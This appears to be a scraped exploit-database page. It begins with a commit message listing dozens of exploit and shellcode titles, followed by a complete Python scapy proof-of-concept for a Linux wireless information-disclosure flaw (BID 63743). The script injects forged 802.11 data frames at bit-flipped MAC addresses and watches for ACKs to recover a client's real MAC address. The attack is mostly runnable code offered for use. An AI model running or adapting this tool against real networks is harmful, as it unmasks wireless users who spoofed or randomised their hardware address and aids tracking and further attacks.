880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
117 lines
No EOL
3.3 KiB
Python
Executable file
117 lines
No EOL
3.3 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/63743/info
|
|
|
|
Linux Kernel is prone to an information-disclosure vulnerability.
|
|
|
|
An attacker can exploit this issue to obtain sensitive information like original MAC address; information obtained may aid in other attacks.
|
|
|
|
Note: This BID was previously titled 'Atheros Wireless Drivers MAC Address Information Disclosure Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected.
|
|
|
|
#!/usr/bin/python
|
|
import logging
|
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
|
from scapy.all import *
|
|
import random
|
|
|
|
# number of times to inject probe for one bit (combat packet loss)
|
|
ATTEMPTS_PER_BIT = 6
|
|
# time to wait for ACK in seconds
|
|
SNIFFTIME = 0.3
|
|
|
|
|
|
def randmac():
|
|
mac = [0] * 6
|
|
for i in xrange(6):
|
|
mac[i] = random.randint(0, 256)
|
|
|
|
# avoid multicast/broadcast mac
|
|
mac[0] = mac[0] & 0xFE
|
|
|
|
return ":".join([format(byte, '02x') for byte in mac])
|
|
|
|
|
|
def parsemac(macstr):
|
|
parts = macstr.replace("-", ":").split(":")
|
|
if len(parts) != 6:
|
|
raise ValueError("MAC does not consist of 6 parts (separated by : or -)")
|
|
|
|
return [int(byte, 16) for byte in parts]
|
|
|
|
|
|
def is_ack(p):
|
|
return Dot11 in p and p.type == 1 and p.subtype == 13
|
|
|
|
|
|
def find_fixed_bits(s, mac):
|
|
# eventually contains the real MAC address
|
|
orgmac = [0] * 6
|
|
|
|
# random MAC address, used as sender, to which the target will send an ACK
|
|
srcmac = randmac()
|
|
|
|
# for all the bits - FIXME: Don't consider H.O. bit of first MAC byte
|
|
for i in range(6):
|
|
for bit in range(8):
|
|
# flip the bit at current position
|
|
currbit = mac[i] & (1 << bit)
|
|
mac[i] ^= (1 << bit)
|
|
|
|
# convert modified mac to string
|
|
strmac = ":".join([format(byte, '02x') for byte in mac])
|
|
print "Probing", strmac, "...",
|
|
|
|
replied = False
|
|
for attempt in range(ATTEMPTS_PER_BIT):
|
|
# inject data packet to modified MAC address
|
|
packet = Dot11(type="Data", subtype=4, FCfield="from-DS",
|
|
addr1=strmac, addr2=srcmac, addr3=strmac)
|
|
s.send(RadioTap()/packet)
|
|
|
|
# Sniff air for ACK to modified MAC
|
|
l = sniff(lfilter=lambda p: is_ack(p) and p.addr1 == srcmac, count=1,
|
|
timeout=SNIFFTIME, opened_socket=s)
|
|
|
|
# We we got an ACK, don't need to try again
|
|
if len(l) == 1:
|
|
replied = True
|
|
break
|
|
|
|
print replied
|
|
|
|
# If client replied, original bit is different from the one currently set,
|
|
# otherwise it's equal to original bit.
|
|
if replied:
|
|
orgmac[i] |= (~currbit) & (1 << bit)
|
|
else:
|
|
orgmac[i] |= currbit
|
|
|
|
# flip bit back to original value
|
|
mac[i] ^= (1 << bit)
|
|
|
|
# Done, return original MAC
|
|
return orgmac
|
|
|
|
|
|
if __name__ == "__main__":
|
|
if len(sys.argv) != 3:
|
|
print "Usage:", sys.argv[0], "interface macaddr"
|
|
quit(1)
|
|
|
|
try:
|
|
mac = parsemac(sys.argv[2])
|
|
conf.iface = sys.argv[1]
|
|
|
|
random.seed()
|
|
|
|
# Open up read/write socket so we don't miss the ACK
|
|
L2socket = conf.L2socket
|
|
s = L2socket(type=ETH_P_ALL, iface=conf.iface)
|
|
|
|
# Now find the MAC
|
|
orgmac = find_fixed_bits(s, mac)
|
|
s.close()
|
|
|
|
print "\nReal MAC address:", ":".join(format(byte, "02x") for byte in orgmac), "\n"
|
|
except ValueError, e:
|
|
print "Invalid MAC address:", e
|
|
except socket.error, e:
|
|
print "Error with provided interface:", e |